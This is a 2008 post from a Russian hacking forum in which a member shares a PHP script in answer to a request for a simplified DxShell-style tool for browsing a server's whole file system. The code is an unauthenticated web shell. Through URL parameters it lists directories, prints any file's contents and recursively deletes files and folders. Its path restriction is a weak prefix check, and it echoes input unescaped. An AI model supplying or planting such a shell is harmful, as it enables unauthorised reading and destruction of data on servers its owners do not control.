Показать сообщение отдельно

  #3  
Старый 09.11.2008, 22:01
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


По умолчанию

Цитата:
Сообщение от sadfeel  
а есть у когото скрипт который показывает директории не только где расположен сайт а и всего кампа???? оч надо)

шото типо DxShell.php только в упрощенном варианте шоб тока директории можно было просматривать
PHP код:
<?php 
########################### 
#  Файл менеджер by Chaak 
########################### 
$safe 'C:\\'//дирректория, куда нельзя дальше соваться =) 


function delfolder($folder

    if(
is_dir($folder)) 
    { 
        
$handle opendir($folder); 
        while(
$subfile readdir($handle)) 
        { 
            if(
$subfile == '.' or $subfile == '..'
                continue; 
            if(
is_file($subfile)) 
                
unlink("{$folder}/{$subfile}"); 
            else 
                
delfolder("{$folder}/{$subfile}"); 
        } 
        
closedir($handle); 
        
rmdir($folder); 
    } 
    else 
    { 
        
unlink($folder); 
    } 


if(isset(
$_GET['del'])) 

    
$del urldecode($_GET['del']); 
    if(
substr($del,0,strlen($safe)) == $safe
    { 
        if(
is_file($del)) 
        { 
            
unlink($del); 
            
header("Location: ".$_GET['location']); 
            exit(); 
        } elseif(
is_dir($del)) 
        { 
            
delfolder($del); 
            
header("Location: ".$_GET['location']); 
            exit(); 
        } 
    } 
    else 
    { 
        
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); 
        exit(); 
    } 



if(!isset(
$_GET['dir'])) 

    
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); 
    exit(); 

else 

    
$path urldecode($_GET['dir']); 
    if(
substr($path,0,strlen($safe)) == $safe
    { 
        if(
is_dir($path)) 
        { 

            
$dir scandir($path); 
            echo 
'<table>'
            echo 
"<tr><td>№</td><td>Filename</td><td>Действие</td></tr>"


            foreach(
$dir as $i => $item
            { 
                if(!(
$item == '..' || $item == '.')) 
                { 
                    echo 
"<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>"
                } 
                else 
                { 
                    echo 
"<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>"
                } 
            } 


            echo 
'</table>'


        } elseif(
is_file($path)) 
        { 
            
$file ''
            
$fp fopen($path,'rt'); 
            while(!
feof($fp)) 
            { 
                
$file .= fgets($fp,1024); 
            } 
            
fclose($fp); 
            
htmlspecialchars($file); 

            echo 
"<textarea cols='80' rows='35'>$file</textarea>"
            echo 
'<br><a href="javascript:history.back(-1);">Назад</a>'
        } 
        else 
        { 
            die(
'Выбранного файла не существует'); 
        } 
    } 
    else 
    { 
        
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe"); 
        exit(); 
    } 

?>
Писал когда-то от "нечего делать". Но если включен safe_mode, то тебе дальше www-дирректории не выйти.
 
Ответить с цитированием